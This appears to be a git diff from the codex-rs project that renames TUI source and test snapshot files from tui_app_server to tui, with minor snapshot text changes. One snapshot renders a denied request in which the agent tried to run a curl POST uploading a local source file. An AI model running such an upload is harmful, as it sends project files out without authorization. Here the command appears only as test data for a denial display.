b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs +source: tui/src/bottom_pane/pending_input_preview.rs expression: "format!(\"{buf:?}\")" --- Buffer { diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap similarity index 97% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap index 53ed604e4e..e5984581a4 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/skills_toggle_view.rs -assertion_line: 439 expression: "render_lines(&view, 72)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap index 000c7d8983..20aca1e334 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/status_line_setup.rs -assertion_line: 365 expression: "render_lines(&view, 72)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap similarity index 96% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap index 0316b957b4..9a6d412874 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/bottom_pane/title_setup.rs +source: tui/src/bottom_pane/title_setup.rs expression: "render_lines(&view, 84)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap similarity index 81% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap index 26c16791cf..e9820815fe 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap @@ -5,7 +5,7 @@ expression: "format!(\"{buf:?}\")" Buffer { area: Rect { x: 0, y: 0, width: 50, height: 1 }, content: [ - " 1 background terminal running · /ps to view · /c", + " 1 background terminal running · /ps to view · /s", ], styles: [ x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, diff --git a/codex-rs/tui_app_server/src/bottom_pane/status_line_setup.rs b/codex-rs/tui/src/bottom_pane/status_line_setup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/status_line_setup.rs rename to codex-rs/tui/src/bottom_pane/status_line_setup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/textarea.rs b/codex-rs/tui/src/bottom_pane/textarea.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/textarea.rs rename to codex-rs/tui/src/bottom_pane/textarea.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/title_setup.rs b/codex-rs/tui/src/bottom_pane/title_setup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/title_setup.rs rename to codex-rs/tui/src/bottom_pane/title_setup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/unified_exec_footer.rs b/codex-rs/tui/src/bottom_pane/unified_exec_footer.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/unified_exec_footer.rs rename to codex-rs/tui/src/bottom_pane/unified_exec_footer.rs diff --git a/codex-rs/tui_app_server/src/chatwidget.rs b/codex-rs/tui/src/chatwidget.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget.rs rename to codex-rs/tui/src/chatwidget.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/interrupts.rs b/codex-rs/tui/src/chatwidget/interrupts.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/interrupts.rs rename to codex-rs/tui/src/chatwidget/interrupts.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/plugins.rs b/codex-rs/tui/src/chatwidget/plugins.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/plugins.rs rename to codex-rs/tui/src/chatwidget/plugins.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/realtime.rs b/codex-rs/tui/src/chatwidget/realtime.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/realtime.rs rename to codex-rs/tui/src/chatwidget/realtime.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/session_header.rs b/codex-rs/tui/src/chatwidget/session_header.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/session_header.rs rename to codex-rs/tui/src/chatwidget/session_header.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/skills.rs b/codex-rs/tui/src/chatwidget/skills.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/skills.rs rename to codex-rs/tui/src/chatwidget/skills.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap similarity index 70% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap index 9165f6796b..0b5eeed1af 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Spawned 019cff70-2599-75e2-af72-b91781b41a8e (gpt-5 high) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap index 17c08589ad..21eaf5207b 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Waiting for 2 agents diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap similarity index 86% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap index 75806d09d0..ae9931efe7 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- ✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap similarity index 99% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap index 2bbe9aefcd..04b278a126 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap @@ -2,6 +2,8 @@ source: tui/src/chatwidget/tests.rs expression: terminal.backend().vt100().screen().contents() --- + + Would you like to run the following command? $ echo hello world diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap similarity index 96% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap index af92fa867f..f0956946c9 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7368 expression: popup --- Update Model Permissions diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new similarity index 94% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new index e46707d870..7ac97d97c5 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs assertion_line: 9607 expression: popup --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap similarity index 97% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap index 4faf8df3b2..9c512c7781 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7365 expression: popup --- Update Model Permissions diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap index b7a3be8884..94d7aab6da 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: before --- Apps diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap similarity index 77% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap index 1ed73b5fa5..8017384f55 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap @@ -1,7 +1,42 @@ --- source: tui/src/chatwidget/tests.rs -expression: visual +expression: term.backend().vt100().screen().contents() --- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + • -- Indented code block (4 spaces) SELECT * FROM "users" diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap index 2e961c3759..2200aaa748 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap @@ -2,7 +2,6 @@ source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- - • Working (0s • esc to interrupt) • Queued follow-up messages @@ -25,4 +24,4 @@ expression: term.backend().vt100().screen().contents() › Ask Codex to do anything - ? for shortcuts 100% context left + gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap similarity index 85% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap index 8c4670d3a6..c79f795b2e 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- • Working (0s • esc to interrupt) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap index 042b80769b..e353cbef2c 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 9494 expression: combined --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap 